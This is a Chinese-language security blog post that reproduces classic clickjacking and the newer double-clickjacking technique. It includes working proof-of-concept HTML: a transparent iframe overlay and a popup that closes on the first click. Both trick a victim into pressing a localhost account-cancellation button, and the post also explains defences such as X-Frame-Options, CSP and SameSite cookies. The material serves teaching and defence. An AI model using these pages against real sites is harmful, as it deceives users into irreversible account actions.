<html>
<metahttp-equiv="Content-Type"content="text/html; charset="utf-8" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0.3;
filter:alpha(opacity=0);
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 428px;
left: 730px;
z-index: 1;
width: 210px;
height: 50px;
}
</style>
</head>
<body>
屠龙宝刀点击就送
<button>查看详情</button>
<iframesrc="http://localhost/CancelAccount.php"></iframe>
</body>
</html>
<!-- Iframe标签里填的地址是存在可能被点击劫持按钮的界面 -->
<!-- opacity 意为透明度,可以先调高一点来调整按钮位置,确认无误之后再调低,完全覆盖原页面 -->
<!-- button里的width和height可以调整按钮大小 -->
<!-- button里的top 和 left可以调节按钮在页面中的位置 -->
实现的效果如下图所示:
我们可以把自己的任意页面覆盖这个注销页面,然后用一个按钮覆盖注销按钮,用于欺骗受害者,一旦受害者点击查看详情按钮:
那么,受害者的账户将被直接注销。这种敏感操作的点击劫持一般都能给到高危以上,简单直白。
这种经典的点击劫持的原理也很简单,我们通过iframe引入敏感页面,通过设置
opacity: 0.3
和
filter: alpha(opacity=0)
iframe被设置为透明,用户无法看到它。这使得iframe可以在用户界面上“覆盖”其他元素,而用户无法察觉。
基于这种思路,其实还可以衍生出拖拽劫持等变种,不过应用场景比较小,而且和本文的主角无关,这里也不展开介绍了。
要对抗这种经典的点击劫持漏洞也非常简单,只需要确保我们的敏感页面不能被iframe加载就行,使用X-Frame-Options或者CSP机制都可以实现防御,这里我们在响应头里使用X-Frame-Options来防御
使用 X-Frame-Options 有三个可选的值:
DENY:浏览器拒绝当前页面加载任何Frame页面
SAMEORIGIN:frame页面的地址只能为同源域名下的页面
ALLOW-FROM:origin为允许frame加载的页面地址
如下图,我们在响应头里添加X-Frame-Options: DENY去进行防御
这时候,我们再打开我们上面的poc,看看会发生什么事:
可以看到,由于
X-Frame-Options: DENY
的存在,浏览器禁止了敏感界面被iframe加载,这样经典的点击劫持漏洞就无法被利用了。此外还有一些防御方法,比如使用SameSite=Lax、SameSite=Strict去禁止跨站请求中发送Cookie,这样我们无法通过鉴权,不具备正常的用户身份,这样绝大多数敏感操作都没有意义了。
2.双击劫持漏洞
这个可就是不折不扣的新姿势了,大概半个月前刷文章,刷到了Freebuf的一篇推送:
https://mp.weixin.qq.com/s/20KtXmvB32XvRlWqiwydvQ
这里面介绍了一种双击劫持的新姿势,据称是可以绕过已知的大部分点击劫持保护措施,不过这篇文章里并没有提到具体的原理和实现方法,所以我顺藤摸瓜找到了这篇报道对应的博客:
https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html
国内似乎还没有大手子复现过,那我先来复现一波吧,原始poc可以在上面提到的博客中获取。使用下面的代码进行复现(请在服务器上部署测试,不要直接打开html文件):
<html>
<script>
functionopenDoubleWindow(url, top, left, width, height) {
var evilWindow = window.open(window.location.protocol+"//"+
window.location.hostname+":"+
window.location.port+"/random",
"_blank");
evilWindow.onload = function() {
evilWindow.document.open();
evilWindow.document.write(`
<script>
setTimeout(function() {
opener.location = "${url}";
}, 1000);
</scr`+`ipt>
<div id="doubleclick" type="button" class="button"
style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';"
onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div>
<script>
document.getElementById('doubleclick').addEventListener('mousedown', function() {
window.close();
});
</scr`+`ipt>`);
evilWindow.document.close();
};
}
</script>
<!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with -->
<buttononclick="openDoubleWindow('http://localhost/CancelAccount.php', 428, 730, 210, 50)">sadasd</button>
</html>
访问上述页面,实际上会同时弹出两个页面,但是受害者不一定会注意,这就为后续的流程埋下了伏笔
前一个页面就是注销功能的页面
而第二个页面,可以看到这里提示我们要进行双击
那么如果受害者真的双击了会发生什么呢?第一次点击,会导致上面这个Double Click Here的窗口关闭,受害者会回到注销操作的页面,而受害者的第二次点击将会命中这个注销按钮,这个过程极短,如果受害者真的照做了,几乎无法反应过来。
下面通过一个视频演示一下(录制的时候把BGM也录进去了,建议调小声点再看):
这种手法不通过iframe引入敏感页面,而是同时打开恶意页面和敏感功能页面两个页面,受害者在恶意页面中进行双击时,第一下点击动作将会关闭恶意页面,而第二下点击动作会命中敏感功能页面中的按钮,这样就可以规避X-Frame-Options等防御措施对点击劫持的防御,因为这种攻击方式采用了完全不同的实现思路。
目前关于双击劫持漏洞,还没有简单成熟的解决方案,原作者给出的解决方案是在用户进入一些敏感页面时,会先把页面上所有可交互的按钮锁住无法点击,在用户正式使用敏感功能前,新增一个验证机制(可以是验证码啥的),通过这个验证码校验后才解锁敏感操作的按钮。
3.参考
https://blog.csdn.net/oatmeal2015/article/details/93505861
https://www.freebuf.com/news/419572.html
https://thehackernews.com/2025/01/new-doubleclickjacking-exploit-bypasses.html
https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html
至于测试用的源码,随便找个大模型生成一下就行,我使用的提示词如下:
帮我写一个CancelAccount.php页面,用php实现,页面的中间存在一个醒目的红色按钮,按钮中有Cancel your account的字样,按钮的下方需要有说明文字“注销操作不可撤销,确定要继续操作吗?”,点击注销按钮后,跳转到CancelSuccess.php页面,CancelSuccess.php直接输出Cancel Success!字样
原文始发于微信公众号(HW专项行动小组):点击劫持与双击劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论